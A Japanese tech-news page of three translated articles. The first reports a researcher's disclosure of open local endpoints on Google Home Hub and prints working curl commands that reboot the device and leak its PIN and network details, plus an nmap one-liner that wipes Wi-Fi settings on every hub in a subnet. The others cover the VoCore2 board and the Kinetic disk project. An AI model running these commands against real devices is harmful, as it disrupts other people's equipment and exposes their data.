GoogleのHome Hubがたった1行のコードで煉瓦になる(文鎮になる)

セキュリティの普及活動家であるJerry Gamblinがポストした、主にXMLの行から成るコードは、Google Home Hubから容易に情報を取り出し、ときには一時的にそのデバイスを動かなくしてしまう。

Home Hubは要するに、Androidタブレットにスピーカーをくっつけた製品で、室内で使うGoogle Assistantデバイスとして設計されている。それは近くのWi-Fiアクセスポイントを見つけ、ユーザーはそのどれかに接続し、他のデバイスからビデオや写真を受信したり、リモートのコマンドを受け付けたりする。ビデオを受信するときには自分のPINを送信するし、また受け取るコマンドの中にはコマンドラインのクイックリブートもありえる。

問題のコマンドは、コマンドラインからの簡単なURL呼び出しで、明らかにセットアッププロセスの一部だ。ご自分で試したい人は’hub’のところをHome HubのローカルなIPアドレスに置換するとよい:

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

[ぼくはIoTのセキュリティのエキスパートではないが、不正なcurlコマンドでGoogleのHome Hubをリブートできるのはおかしいよね。]

これも1行のコード(curlコマンド)だが、マイクロサービスの数などの情報を暴露する:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

そして下のnmap呼び出しは、ローカルなネットワーク上のすべてのデバイスが自分のWi-Fiを忘れてしまうので、もう一度セットアップしなければならない:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Gamblinも言っているが、これらのセキュリティホールは壊滅的ではないが要注意だ。これらのコマンドやツールを不正に実行できてしまうこと自体、よく言えば怠慢だし、悪く言えば危険だ。彼の指摘によると、このオープンなエンドポイントは何年も前からいろんなGoogleデバイスにある。だからこれはコードベースの正常な一部であり、Googleによるいたずらではない。

ここには、重大なものは何もないし、Home Hubが重要な医療機器を制御することもない。でも、このプラットホームを使ってるデバイスにセキュリティの欠陥があることは、知っておいて損はない。この場合はコマンドの不正実行やシステムの盗用だ。しかし今日はGrandpaの超複雑な写真フレームをリブートできるだけだが、明日になると誰かが、うちのおじいちゃんの酸素濃縮器をリブートするかもしれない。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

VoCore2は、小さなDoomをプレイできる小さなコンピューター

VoCore2はWi-Fi対応で580 MHz CPUと128 MB RAMを搭載したコンピューターでビデオ出力も可能だ。そして、Doomをプレイできる。そう:この容易に呑み込めるコンピューターなら、パッケージがゆっくりと消化される間にハードコアのFPSをプレイできる。

この製品はIndiegogoで生まれ、10万ドルを集めた。現在単体が17ドル、USBとMicroSDカード付きが24ドルで販売されている。4インチディスプレイも売られていて25fpsのビデオを見ることができる。

いったいこれの何がいいのか? 他のシングルボードコンピューターと同じく、21世紀におけるコンピューターの意味を限界まで広げてくれる。ユーロコインサイズのコンピューターは、あらゆる場所、あらゆる奇妙なプロジェクトにフィットする。ジョイスティックのボタンサイズのコンピューターでデーモンたちを破壊できるのはクールだ。

VoCore2はまもなく出荷予定で、こちらから購入できる。

[原文へ]

(翻訳:Nob Takahashi / facebook

ファイルシステムのないオブジェクトストレージのためのKineticハードディスクをLinux Foundationのもとで共同開発へ

2年前にSeagateが、アプリケーションがハードディスクに直接、Ethernetで接続して、キー-ヴァリューペア(key-value pair)のデータでオブジェクトを保存する、という新しい技術発表した。これによりファイルシステムやファイルサーバのオーバヘッドがなくなるため、一台のハードディスクに大量のデータを詰め込めるし、I/Oの速度も上がる。その後SeagateはOpenStackのオブジェクトストレージSwiftとRiakのためにこの技術によるディスクを作り、最近ではToshibaが、同じ技術によるハードディスクを発表した。

figure-3-drive-application-software-api-new-612x792

そしてこのたび、ハードディスクの大手三社(Seagate、Toshiba、Western Digital)とCisco、Cleversafe、Dell、DigitalSense、NetApp、Open vStorage、Red Hat、およびScalityらがLinux Foundationと合同で、SeagateがKinectと名づけたこのタイプのハードディスクを共同で開発していくことになった。

そのKinect Open Storage Projectが、Linux Foundation Collaborative ProjectによるKinectディスクの開発を支えていくことになる。その目標は、“次世代の、Ethernetを利用するストレージデバイスによる、オープンソースのオブジェクトストレージを提供すること”、となっている。

このプロジェクトは、Ethernetによる通信と、ディスク上のキー-ヴァリューストア(store, 保存〕技術を組み合わせたものだ。プロジェクトは、APIと、オープンソースのライブラリと、これらKinectベースのディスクとインタフェイスするためのシミュレータを管理する。

SeagateはこのKinectプロジェクトを立ち上げたときに、ファイルをベースとする古いシステムは、オブジェクトベースのシステムに急速に置き換えられていく。とくに、データセンターにおいて、と主張した。

同社はこう言う: “新しいパラダイムはオブジェクト指向である。画像も、ムービーも、eコマースもWebのデータも、検索もゲームも、そしてそれらすべてのアーカイブもオブジェクトであり、その多くが非定型データから成り、書き込まれたり読み出されたり削除されたりするが、決して変更はされない。したがってそれらは、キー-ヴァリューストアの理想的な候補だ”。

kinetic-3-5-4tb-left-400x400

Linux Foundationの事務局長Jim Zemlinは、Kinectプロジェクトはオープンソースプロジェクトの教科書的な例だ、と言う。パートナーたちは全員、互いにコンペティタだが、ソフトウェアではなくハードウェアで競合する。そしてソフトウェアベンダのメンバーたちが、ハードウェアを管理するための共通のツールをオープンソースで提供していく。

“もしもこのプロジェクトを単一の企業が運営していたら、ある時点でガラスの天井にぶつかっただろう”、と彼は言う。しかもZemlinによれば、必要なソフトウェアの量は、とうてい一社で書けるような量ではない。今回、グループでパートナーになっている各社は、プロジェクトを管理するための中立的なプレーヤーと、一堂に集まってプロジェクトに投資していくための場を必要とする。そしてこの二つをLinux FoundationのCollaborative Projectsが体現し、この形は、近々に、この種のオープンソースプロジェクトのスタンダードになっていくだろう、とZemlinは述べる。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa